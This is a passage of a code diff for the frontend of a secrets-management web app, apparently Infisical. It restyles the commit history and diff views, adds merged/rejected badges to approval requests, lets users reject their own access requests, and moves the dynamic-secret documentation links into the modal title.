+                            <span className="max-w-[180px] whitespace-normal break-words text-xs leading-snug text-gray-400">
+                              Return this folder to its exact state at the time of this commit,
+                              discarding all other changes made after it
+                            </span>
+                          </div>
+                        </div>
+                      </DropdownMenuItem>
+                    )}
+
+                    <DropdownMenuItem
+                      className="group cursor-pointer rounded-md px-3 py-3 transition-colors hover:bg-mineshaft-700"
+                      onClick={() => handlePopUpOpen("revertChanges")}
+                    >
+                      <div className="flex items-center space-x-3">
+                        <div className="flex flex-col">
+                          <span className="text-sm font-medium text-white">Revert changes</span>
+                          <span className="max-w-[180px] whitespace-normal break-words text-xs leading-snug text-gray-400">
+                            Will restore to the previous version of affected resources
+                          </span>
+                        </div>
+                      </div>
+                    </DropdownMenuItem>
+                  </DropdownMenuContent>
+                </DropdownMenu>
+              )}
+            </ProjectPermissionCan>
+          </div>
         </div>
-        <div className="flex flex-col overflow-hidden pl-4 pr-1">
-          <div className="thin-scrollbar overflow-y-scroll py-4">
-            {sortedChangedItems.length > 0 ? (
-              sortedChangedItems.map((item) => renderMergedItem(item))
-            ) : (
-              <EmptyState
-                title="No changes found."
-                className="h-full pb-0 pt-28"
-                icon={faCodeCommit}
-              />
-            )}
+
+        <div className="py-2">
+          <div className="overflow-hidden">
+            <div className="space-y-2">
+              {sortedChangedItems.length > 0 ? (
+                sortedChangedItems.map((item) => renderMergedItem(item))
+              ) : (
+                <div className="flex h-32 items-center justify-center rounded-lg border border-mineshaft-600 bg-mineshaft-800">
+                  <p className="text-gray-400">No changed items found</p>
+                </div>
+              )}
+            </div>
           </div>
         </div>
       </div>
+
       <DeleteActionModal
         isOpen={popUp.revertChanges.isOpen}
         deleteKey="revert"
@@ -355,6 +357,6 @@ export const CommitDetailsTab = ({
         onDeleteApproved={handleRevertChanges}
         buttonText="Yes, revert changes"
       />
-    </>
+    </div>
   );
 };

frontend/src/pages/secret-manager/CommitDetailsPage/components/SecretVersionDiffView/SecretVersionDiffView.tsx

@@ -225,12 +225,15 @@ const renderJsonWithDiffs = (
 
   const getLineClass = (different: boolean) => {
     if (!different) return "flex";
-    return isOldVersion
-      ? "flex bg-red-500/50 rounded-sm text-red-300"
-      : "flex bg-green-500/50 rounded-sm text-green-300";
+    return isOldVersion ? "flex bg-red-950 text-red-300" : "flex bg-green-950 text-green-300";
   };
 
-  const prefix = isDifferent ? (isOldVersion ? " -" : " +") : " ";
+  const getHighlightClass = (different: boolean) => {
+    if (!different) return "";
+    return isOldVersion ? "bg-red-900 rounded px-1" : "bg-green-900 rounded px-1";
+  };
+
+  const prefix = isDifferent ? (isOldVersion ? "-" : "+") : " ";
   const keyDisplay = keyName ? `"${keyName}": ` : "";
   const comma = !isLastItem ? "," : "";
 
@@ -252,8 +255,8 @@ const renderJsonWithDiffs = (
         <div className="w-4 flex-shrink-0">{prefix}</div>
         <div>
           {indent}
-          {keyName && <span>{keyDisplay}</span>}
-          <span>{valueDisplay}</span>
+          {keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
+          <span className={getHighlightClass(isDifferent)}>{valueDisplay}</span>
           {comma}
         </div>
       </div>
@@ -266,8 +269,8 @@ const renderJsonWithDiffs = (
         <div className="w-4 flex-shrink-0">{prefix}</div>
         <div>
           {indent}
-          {keyName && <span>{keyDisplay}</span>}
-          <span>[]</span>
+          {keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
+          <span className={getHighlightClass(isDifferent)}>[]</span>
           {comma}
         </div>
       </div>
@@ -280,8 +283,8 @@ const renderJsonWithDiffs = (
         <div className="w-4 flex-shrink-0">{prefix}</div>
         <div>
           {indent}
-          {keyName && <span>{keyDisplay}</span>}
-          <span>{"{}"}</span>
+          {keyName && <span className={getHighlightClass(isDifferent)}>{keyDisplay}</span>}
+          <span className={getHighlightClass(isDifferent)}>{"{}"}</span>
           {comma}
         </div>
       </div>
@@ -317,12 +320,16 @@ const renderJsonWithDiffs = (
       <div key={reactKey}>
         <div className={getLineClass(isContainerAddedOrRemoved)}>
           <div className="w-4 flex-shrink-0">
-            {isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
+            {isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
           </div>
           <div>
             {indent}
-            {keyName && <span>{keyDisplay}</span>}
-            <span>[</span>
+            {keyName && (
+              <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>
+                {keyDisplay}
+              </span>
+            )}
+            <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>[</span>
           </div>
         </div>
 
@@ -350,11 +357,11 @@ const renderJsonWithDiffs = (
 
         <div className={getLineClass(isContainerAddedOrRemoved)}>
           <div className="w-4 flex-shrink-0">
-            {isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
+            {isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
           </div>
           <div>
             {indent}
-            <span>]</span>
+            <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>]</span>
             {comma}
           </div>
         </div>
@@ -369,12 +376,16 @@ const renderJsonWithDiffs = (
       <div key={reactKey}>
         <div className={getLineClass(isContainerAddedOrRemoved)}>
           <div className="w-4 flex-shrink-0">
-            {isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
+            {isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
           </div>
           <div>
             {indent}
-            {keyName && <span>{keyDisplay}</span>}
-            <span>{"{"}</span>
+            {keyName && (
+              <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>
+                {keyDisplay}
+              </span>
+            )}
+            <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>{"{"}</span>
           </div>
         </div>
 
@@ -403,11 +414,11 @@ const renderJsonWithDiffs = (
 
         <div className={getLineClass(isContainerAddedOrRemoved)}>
           <div className="w-4 flex-shrink-0">
-            {isContainerAddedOrRemoved ? (isOldVersion ? " -" : " +") : " "}
+            {isContainerAddedOrRemoved ? (isOldVersion ? "-" : "+") : " "}
           </div>
           <div>
             {indent}
-            <span>{"}"}</span>
+            <span className={isContainerAddedOrRemoved ? getHighlightClass(true) : ""}>{"}"}</span>
             {comma}
           </div>
         </div>
@@ -614,21 +625,22 @@ export const SecretVersionDiffView = ({
   };
 
   return (
-    <div className="overflow-hidden border border-b-0 border-mineshaft-600 bg-mineshaft-800 first:rounded-t last:rounded-b last:border-b">
+    <div className="overflow-hidden rounded-lg border border-mineshaft-600 bg-mineshaft-800">
       {showHeader && renderHeader()}
+
       {!collapsed && (
-        <div className="border-t border-mineshaft-700 bg-mineshaft-900 p-3 text-mineshaft-100">
-          <div className="flex gap-3">
+        <div className="border-t border-mineshaft-700 bg-mineshaft-900 px-6 py-4">
+          <div className="grid grid-cols-2 gap-4">
             <div
               ref={oldContainerRef}
-              className="thin-scrollbar max-h-96 flex-1 overflow-auto whitespace-pre"
+              className="thin-scrollbar max-h-96 overflow-auto whitespace-pre rounded border border-mineshaft-600 bg-mineshaft-900 p-4"
             >
               {oldVersionContent}
             </div>
-            <div className="max-h-96 w-[0.05rem] self-stretch bg-mineshaft-600" />
+
             <div
               ref={newContainerRef}
-              className="thin-scrollbar max-h-96 flex-1 overflow-auto whitespace-pre"
+              className="thin-scrollbar max-h-96 overflow-auto whitespace-pre rounded border border-mineshaft-600 bg-mineshaft-900 p-4"
             >
               {newVersionContent}
             </div>

frontend/src/pages/secret-manager/CommitsPage/CommitsPage.tsx

@@ -52,7 +52,7 @@ export const CommitsPage = () => {
           title="Commits"
           description="Track, inspect, and restore your secrets and folders with confidence. View the complete history of changes made to your environment, examine specific modifications at each commit point, and preview the exact impact before rolling back to previous states."
         />
-        <NoticeBannerV2 title="Secret Snapshots Update" className="mb-2">
+        <NoticeBannerV2 title="" className="mb-2">
           <p className="my-1 text-sm text-mineshaft-300">
             Secret Snapshots have been officially renamed to Commits. Going forward, all secret
             changes will be tracked as Commits. If you made changes before this update, you can

frontend/src/pages/secret-manager/CommitsPage/components/CommitHistoryTab/CommitHistoryTab.tsx

@@ -2,14 +2,13 @@ import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import {
   faArrowDownWideShort,
   faArrowUpWideShort,
-  faCodeCommit,
   faCopy,
   faSearch
 } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { format, formatDistanceToNow } from "date-fns";
 
-import { Button, ContentLoader, EmptyState, IconButton, Input } from "@app/components/v2";
+import { Button, Input, Spinner } from "@app/components/v2";
 import { CopyButton } from "@app/components/v2/CopyButton";
 import { useGetFolderCommitHistory } from "@app/hooks/api/folderCommits";
 
@@ -41,40 +40,58 @@ const CommitItem = ({
   onSelectCommit: (commitId: string, tab: string) => void;
 }) => {
   return (
-    <button
-      type="button"
-      onClick={(e) => {
-        e.stopPropagation();
-        onSelectCommit(commit.id, "tab-commit-details");
-      }}
-      className="w-full border border-b-0 border-mineshaft-600 bg-mineshaft-800 first:rounded-t-md last:rounded-b-md last:border-b"
-    >
-      <div className="flex gap-2 px-4 py-3 transition-colors duration-200 hover:bg-zinc-800">
-        <div className="flex flex-1 flex-col items-start">
-          <span className="w-min whitespace-nowrap text-sm text-mineshaft-100">
-            {commit.message}
-          </span>
-          <p className="text-left text-xs text-mineshaft-300">
-            {commit.actorMetadata?.email || commit.actorMetadata?.name || commit.actorType}{" "}
-            committed <time dateTime={commit.createdAt}>{formatTimeAgo(commit.createdAt)}</time>
-          </p>
-        </div>
-
-        <div className="flex items-center space-x-2">
-          <code className="mt-0.5 font-mono text-xs text-mineshaft-400">
-            {commit.id?.substring(0, 11)}
-          </code>
-          <CopyButton
-            value={commit.id}
-            name={commit.id}
-            size="xs"
-            variant="plain"
-            color="text-mineshaft-400"
-            icon={faCopy}
-          />
+    <div className="border-b border-zinc-800 last:border-b-0">
+      <div className="px-4 py-4 transition-colors duration-200 hover:bg-zinc-800">
+        <div className="flex flex-col sm:flex-row sm:justify-between">
+          <div className="w-5/6 flex-1">
+            <div className="flex items-center">
+              <Button
+                variant="link"
+                className="truncate text-left text-white hover:underline"
+                isFullWidth
+                onClick={(e) => {
+                  e.stopPropagation();
+                  onSelectCommit(commit.id, "tab-commit-details");
+                }}
+              >
+                {commit.message}
+              </Button>
+            </div>
+            <p className="text-white-400 mt-2 flex flex-wrap items-center gap-4 text-sm">
+              <span className="flex items-center text-mineshaft-300">
+                {commit.actorMetadata?.email || commit.actorMetadata?.name || commit.actorType}
+                <p className="ml-1 mr-1">committed</p>
+                <time dateTime={commit.createdAt}>{formatTimeAgo(commit.createdAt)}</time>
+              </span>
+            </p>
+          </div>
+          <div className="mt-2 flex w-1/6 items-center justify-end sm:mt-0">
+            <div className="flex items-center space-x-1">
+              <Button
+                variant="link"
+                className="text-white hover:underline"
+                onClick={(e) => {
+                  e.stopPropagation();
+                  onSelectCommit(commit.id, "tab-commit-details");
+                }}
+              >
+                <code className="text-white-400 px-3 py-1 font-mono text-sm">
+                  {commit.id?.substring(0, 11)}
+                </code>
+              </Button>
+              <CopyButton
+                value={commit.id}
+                name={commit.id}
+                size="sm"
+                variant="plain"
+                color="text-mineshaft-400"
+                icon={faCopy}
+              />
+            </div>
+          </div>
         </div>
       </div>
-    </button>
+    </div>
   );
 };
 
@@ -91,16 +108,24 @@ const DateGroup = ({
   onSelectCommit: (commitId: string, tab: string) => void;
 }) => {
   return (
-    <div className="mt-4 first:mt-0">
-      <div className="mb-4 ml-[0.15rem] flex items-center">
-        <FontAwesomeIcon icon={faCodeCommit} className="text-mineshaft-400" />
-        <h2 className="ml-4 text-sm text-mineshaft-400">Commits on {date}</h2>
+    <div className="mb-8 last:mb-0 last:pb-2">
+      <div className="mb-4 flex items-center">
+        <div className="relative mr-3 flex h-6 w-6 items-center justify-center">
+          <div className="z-10 h-3 w-3 rounded-full border-2 border-mineshaft-600 bg-bunker-800" />
+          <div className="absolute left-0 right-0 top-1/2 h-0.5 -translate-y-1/2 bg-mineshaft-600" />
+        </div>
+        <h2 className="text-sm text-white">Commits on {date}</h2>
       </div>
+
       <div className="relative">
-        <div className="absolute bottom-0 left-3 top-0 w-[0.1rem] bg-mineshaft-500" />
+        <div className="absolute bottom-0 left-3 top-0 w-0.5 bg-mineshaft-600" />
         <div className="ml-10">
           {commits.map((commit) => (
-            <CommitItem key={commit.id} commit={commit} onSelectCommit={onSelectCommit} />
+            <div key={commit.id} className="relative mb-3 pb-1">
+              <div className="overflow-hidden rounded-md border border-solid border-mineshaft-600">
+                <CommitItem commit={commit} onSelectCommit={onSelectCommit} />
+              </div>
+            </div>
           ))}
         </div>
       </div>
@@ -125,7 +150,7 @@ export const CommitHistoryTab = ({
   const [offset, setOffset] = useState(0);
   const [allCommits, setAllCommits] = useState<Commit[]>([]);
   const debounceTimeoutRef = useRef<NodeJS.Timeout>();
-  const limit = 10;
+  const limit = 5;
 
   // Debounce search term
   useEffect(() => {
@@ -209,37 +234,42 @@ export const CommitHistoryTab = ({
   }, [hasMore, isFetching, limit]);
 
   return (
-    <div className="mt-4 w-full rounded-lg border border-mineshaft-600 bg-mineshaft-900 p-4">
-      <p className="mb-4 text-xl font-semibold text-mineshaft-100">Commit History</p>
+    <div className="w-full">
       <div className="mb-4 flex flex-col sm:flex-row sm:justify-end">
         <div className="flex w-full flex-wrap items-center gap-2">
           <div className="relative flex-grow">
             <Input
-              leftIcon={<FontAwesomeIcon icon={faSearch} aria-hidden="true" />}
               placeholder="Search commits..."
+              className="h-10 w-full rounded-md border-transparent bg-zinc-800 pl-9 pr-3 text-sm text-white placeholder-gray-400 focus:border-gray-600 focus:ring-primary-500/20"
               onChange={(e) => handleSearch(e.target.value)}
               value={searchTerm}
               aria-label="Search commits"
             />
+            <div className="absolute left-3 top-1/2 -translate-y-1/2 transform text-gray-400">
+              <FontAwesomeIcon icon={faSearch} aria-hidden="true" />
+            </div>
           </div>
-          <IconButton
+          <Button
             variant="outline_bg"
-            size="sm"
-            className="flex h-[2.4rem] items-center justify-center gap-2 rounded-md"
+            size="md"
+            className="flex h-10 items-center justify-center gap-2 rounded-md bg-zinc-800 px-4 py-2 text-sm text-white transition-colors duration-200 hover:bg-zinc-700 focus:outline-none focus:ring-2 focus:ring-primary-500"
             onClick={handleSort}
-            ariaLabel={`Sort by date ${sortDirection === "desc" ? "ascending" : "descending"}`}
+            aria-label={`Sort by date ${sortDirection === "desc" ? "ascending" : "descending"}`}
           >
             <FontAwesomeIcon
               icon={sortDirection === "desc" ? faArrowDownWideShort : faArrowUpWideShort}
               aria-hidden="true"
             />
-          </IconButton>
+          </Button>
         </div>
       </div>
+
       {isLoading && offset === 0 ? (
-        <ContentLoader className="h-80" />
+        <div className="flex h-64 items-center justify-center">
+          <Spinner size="lg" aria-label="Loading commits" />
+        </div>
       ) : (
-        <div>
+        <div className="space-y-8">
           {Object.keys(groupedCommits).length > 0 ? (
             <>
               {Object.entries(groupedCommits).map(([date, dateCommits]) => (
@@ -252,21 +282,34 @@ export const CommitHistoryTab = ({
               ))}
             </>
           ) : (
-            <EmptyState title="No commits found." icon={faCodeCommit} />
+            <div className="text-white-400 flex min-h-40 flex-col items-center justify-center rounded-lg bg-zinc-900 py-8 text-center">
+              <FontAwesomeIcon
+                icon={faSearch}
+                className="text-white-500 mb-3 text-3xl"
+                aria-hidden="true"
+              />
+              <p>No matching commits found. Try a different search term.</p>
+            </div>
           )}
 
           {hasMore && (
             <div className="flex justify-center pb-2">
               <Button
                 variant="outline_bg"
-                size="sm"
-                className="ml-10 mt-4 w-full"
+                size="md"
+                className="rounded-md bg-zinc-900 px-6 py-2 text-sm font-medium text-white transition-colors duration-200 hover:bg-zinc-800 focus:outline-none focus:ring-2 focus:ring-primary-500"
                 onClick={loadMoreCommits}
                 disabled={isFetching}
-                isLoading={isFetching}
                 aria-label="Load more commits"
               >
-                Load More Commits
+                {isFetching ? (
+                  <>
+                    <Spinner size="sm" className="mr-2" />
+                    Loading...
+                  </>
+                ) : (
+                  "Load more commits"
+                )}
               </Button>
             </div>
           )}

frontend/src/pages/secret-manager/OverviewPage/components/SecretOverviewTableRow/SecretOverviewTableRow.tsx

@@ -174,7 +174,7 @@ export const SecretOverviewTableRow = ({
                   )}
                   {isSecretEmpty && (
                     <Tooltip content="Empty value">
-                      <FontAwesomeIcon size="sm" icon={faCircle} />
+                      <FontAwesomeIcon size="sm" icon={faCircle} className="text-yellow" />
                     </Tooltip>
                   )}
                 </div>

frontend/src/pages/secret-manager/SecretApprovalsPage/components/AccessApprovalRequest/components/ReviewAccessModal.tsx

@@ -255,6 +255,11 @@ export const ReviewAccessRequestModal = ({
     return "You are not the reviewer in this step.";
   };
 
+  // users can always reject (cancel) their own request
+  const isRejectionDisabled = request.isRequestedByCurrentUser
+    ? false
+    : !(request.isApprover && request.isSelfApproveAllowed) && !bypassApproval;
+
   return (
     <Modal isOpen={isOpen} onOpenChange={onOpenChange}>
       <ModalContent
@@ -445,7 +450,7 @@ export const ReviewAccessRequestModal = ({
                     onCheckedChange={(checked) => setBypassApproval(checked === true)}
                     isChecked={bypassApproval}
                     id="byPassApproval"
-                    className={twMerge("mr-2", bypassApproval ? "!border-red/30 !bg-red/10" : "")}
+                    className={twMerge("mr-2", bypassApproval ? "!border-red/50 !bg-red/30" : "")}
                   >
                     <span className="text-xs text-red">
                       Approve without waiting for requirements to be met (bypass policy protection)
@@ -489,14 +494,7 @@ export const ReviewAccessRequestModal = ({
                 </Button>
                 <Button
                   isLoading={isLoading === "rejected"}
-                  isDisabled={
-                    !!isLoading ||
-                    (!(
-                      request.isApprover &&
-                      (!request.isRequestedByCurrentUser || request.isSelfApproveAllowed)
-                    ) &&
-                      !bypassApproval)
-                  }
+                  isDisabled={!!isLoading || isRejectionDisabled}
                   onClick={() => handleReview("rejected")}
                   className="mt-4 border-transparent bg-transparent text-mineshaft-200 hover:border-red hover:bg-red/20 hover:text-mineshaft-200"
                   size="sm"

frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/SecretApprovalRequest.tsx

@@ -6,16 +6,19 @@ import {
   faCheckCircle,
   faChevronDown,
   faCodeBranch,
+  faCodeMerge,
   faMagnifyingGlass,
-  faSearch
+  faSearch,
+  faXmark
 } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { useSearch } from "@tanstack/react-router";
-import { formatDistance } from "date-fns";
+import { format, formatDistance } from "date-fns";
 import { AnimatePresence, motion } from "framer-motion";
 import { twMerge } from "tailwind-merge";
 
 import {
+  Badge,
   Button,
   DropdownMenu,
   DropdownMenuContent,
@@ -25,7 +28,8 @@ import {
   EmptyState,
   Input,
   Pagination,
-  Skeleton
+  Skeleton,
+  Tooltip
 } from "@app/components/v2";
 import { ROUTE_PATHS } from "@app/const/routes";
 import {
@@ -308,7 +312,9 @@ export const SecretApprovalRequest = () => {
                   createdAt,
                   reviewers,
                   status,
-                  committerUser
+                  committerUser,
+                  hasMerged,
+                  updatedAt
                 } = secretApproval;
                 const isReviewed = reviewers.some(
                   ({ status: reviewStatus, userId }) =>
@@ -317,7 +323,7 @@ export const SecretApprovalRequest = () => {
                 return (
                   <div
                     key={reqId}
-                    className="flex flex-col border-b border-mineshaft-600 px-8 py-3 last:border-b-0 hover:bg-mineshaft-700"
+                    className="flex border-b border-mineshaft-600 px-8 py-3 last:border-b-0 hover:bg-mineshaft-700"
                     role="button"
                     tabIndex={0}
                     onClick={() => setSelectedApprovalId(secretApproval.id)}
@@ -325,29 +331,46 @@ export const SecretApprovalRequest = () => {
                       if (evt.key === "Enter") setSelectedApprovalId(secretApproval.id);
                     }}
                   >
-                    <div className="mb-1 text-sm">
-                      <FontAwesomeIcon
-                        icon={faCodeBranch}
-                        size="sm"
-                        className="mr-1.5 text-mineshaft-300"
-                      />
-                      {secretApproval.isReplicated
-                        ? `${commits.length} secret pending import`
-                        : generateCommitText(commits)}
-                      <span className="text-xs text-bunker-300"> #{secretApproval.slug}</span>
+                    <div className="flex flex-col">
+                      <div className="mb-1 text-sm">
+                        <FontAwesomeIcon
+                          icon={faCodeBranch}
+                          size="sm"
+                          className="mr-1.5 text-mineshaft-300"
+                        />
+                        {secretApproval.isReplicated
+                          ? `${commits.length} secret pending import`
+                          : generateCommitText(commits)}
+                        <span className="text-xs text-bunker-300"> #{secretApproval.slug}</span>
+                      </div>
+                      <span className="text-xs leading-3 text-gray-500">
+                        Opened {formatDistance(new Date(createdAt), new Date())} ago by{" "}
+                        {committerUser ? (
+                          <>
+                            {committerUser?.firstName || ""} {committerUser?.lastName || ""} (
+                            {committerUser?.email})
+                          </>
+                        ) : (
+                          <span className="text-gray-600">Deleted User</span>
+                        )}
+                        {!isReviewed && status === "open" && " - Review required"}
+                      </span>
                     </div>
-                    <span className="text-xs leading-3 text-gray-500">
-                      Opened {formatDistance(new Date(createdAt), new Date())} ago by{" "}
-                      {committerUser ? (
-                        <>
-                          {committerUser?.firstName || ""} {committerUser?.lastName || ""} (
-                          {committerUser?.email})
-                        </>
-                      ) : (
-                        <span className="text-gray-600">Deleted User</span>
-                      )}
-                      {!isReviewed && status === "open" && " - Review required"}
-                    </span>
+                    {status === "close" && (
+                      <Tooltip
+                        content={updatedAt ? format(new Date(updatedAt), "M/dd/yyyy h:mm a") : ""}
+                      >
+                        <div className="my-auto ml-auto">
+                          <Badge
+                            variant={hasMerged ? "success" : "danger"}
+                            className="flex h-min items-center gap-1"
+                          >
+                            <FontAwesomeIcon icon={hasMerged ? faCodeMerge : faXmark} />
+                            {hasMerged ? "Merged" : "Rejected"}
+                          </Badge>
+                        </div>
+                      </Tooltip>
+                    )}
                   </div>
                 );
               })}

frontend/src/pages/secret-manager/SecretApprovalsPage/components/SecretApprovalRequest/components/SecretApprovalRequestAction.tsx

@@ -168,7 +168,7 @@ export const SecretApprovalRequestAction = ({
                 isChecked={byPassApproval}
                 id="byPassApproval"
                 checkIndicatorBg="text-white"
-                className={twMerge("mr-2", byPassApproval ? "!border-red/30 !bg-red/10" : "")}
+                className={twMerge("mr-2", byPassApproval ? "!border-red/50 !bg-red/30" : "")}
               >
                 <span className="text-sm">
                   Merge without waiting for approval (bypass secret change policy)

frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/AzureEntraIdInputForm.tsx

@@ -1,10 +1,5 @@
 import { Controller, useForm } from "react-hook-form";
-import {
-  faArrowUpRightFromSquare,
-  faBookOpen,
-  faCheckCircle,
-  faWarning
-} from "@fortawesome/free-solid-svg-icons";
+import { faCheckCircle, faWarning } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
@@ -206,20 +201,6 @@ export const AzureEntraIdInputForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                target="_blank"
-                rel="noopener noreferrer"
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/azure-entra-id"
-              >
-                <div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <div className="flex-grow">

frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/CreateDynamicSecretForm.tsx

@@ -12,7 +12,12 @@ import {
 } from "react-icons/si";
 import { VscAzure } from "react-icons/vsc";
 import { faAws, faGithub, faGoogle } from "@fortawesome/free-brands-svg-icons";
-import { faClock, faDatabase } from "@fortawesome/free-solid-svg-icons";
+import {
+  faArrowUpRightFromSquare,
+  faBookOpen,
+  faClock,
+  faDatabase
+} from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { AnimatePresence, motion } from "framer-motion";
 
@@ -152,6 +157,15 @@ const DYNAMIC_SECRET_LIST = [
   }
 ];
 
+const DynamicSecretDetails = Object.fromEntries(
+  DYNAMIC_SECRET_LIST.map((ds) => [ds.provider, ds.title])
+);
+
+const UniqueLinks: Record<string, string> = {
+  [DynamicSecretProviders.SqlDatabase]: "postgresql", // gotta pick one...
+  [DynamicSecretProviders.MongoAtlas]: "mongo-atlas"
+};
+
 export const CreateDynamicSecretForm = ({
   isOpen,
   onToggle,
@@ -169,10 +183,31 @@ export const CreateDynamicSecretForm = ({
     setSelectedProvider(null);
   };
 
+  const modalTitle = selectedProvider ? DynamicSecretDetails[selectedProvider] : null;
+
   return (
     <Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
       <ModalContent
-        title="Dynamic secret setup"
+        title={
+          <div className="flex items-center">
+            <span>{modalTitle ? `${modalTitle} Dynamic Secret` : "Dynamic Secrets"} </span>
+            <a
+              href={`https://infisical.com/docs/documentation/platform/dynamic-secrets/${selectedProvider ? (UniqueLinks[selectedProvider] ?? selectedProvider) : "overview"}`}
+              target="_blank"
+              className="mb-0.5 ml-1.5"
+              rel="noopener noreferrer"
+            >
+              <div className="inline-block rounded-md bg-yellow/20 px-1.5 text-sm text-yellow opacity-80 hover:opacity-100">
+                <FontAwesomeIcon icon={faBookOpen} className="mb-[0.03rem] mr-1 text-[12px]" />
+                <span>Docs</span>
+                <FontAwesomeIcon
+                  icon={faArrowUpRightFromSquare}
+                  className="mb-[0.07rem] ml-1 text-[10px]"
+                />
+              </div>
+            </a>
+          </div>
+        }
         subTitle="Configure dynamic secret parameters"
         className="my-4 max-w-3xl"
       >

frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/KubernetesInputForm.tsx

@@ -1,10 +1,5 @@
 import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
-import {
-  faArrowUpRightFromSquare,
-  faBookOpen,
-  faQuestionCircle,
-  faTrash
-} from "@fortawesome/free-solid-svg-icons";
+import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
@@ -293,20 +288,6 @@ export const KubernetesInputForm = ({
         <div>
           <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
             Configuration
-            <a
-              href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
-              target="_blank"
-              rel="noopener noreferrer"
-            >
-              <div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                Docs
-                <FontAwesomeIcon
-                  icon={faArrowUpRightFromSquare}
-                  className="mb-[0.07rem] ml-1.5 text-xxs"
-                />
-              </div>
-            </a>
           </div>
           <div className="flex flex-col">
             <div className="flex items-center space-x-2">

frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/LdapInputForm.tsx

@@ -1,6 +1,4 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -220,20 +218,6 @@ export const LdapInputForm = ({
         <div>
           <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
             Configuration
-            <a
-              href="https://infisical.com/docs/documentation/platform/dynamic-secrets/ldap"
-              target="_blank"
-              rel="noopener noreferrer"
-            >
-              <div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                Docs
-                <FontAwesomeIcon
-                  icon={faArrowUpRightFromSquare}
-                  className="mb-[0.07rem] ml-1.5 text-xxs"
-                />
-              </div>
-            </a>
           </div>
           <div className="flex flex-col">
             <div className="flex items-center space-x-2">

frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/SnowflakeInputForm.tsx

@@ -1,6 +1,4 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -185,20 +183,6 @@ export const SnowflakeInputForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
-                target="_blank"
-                rel="noopener noreferrer"
-              >
-                <div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <div className="flex items-center space-x-2">

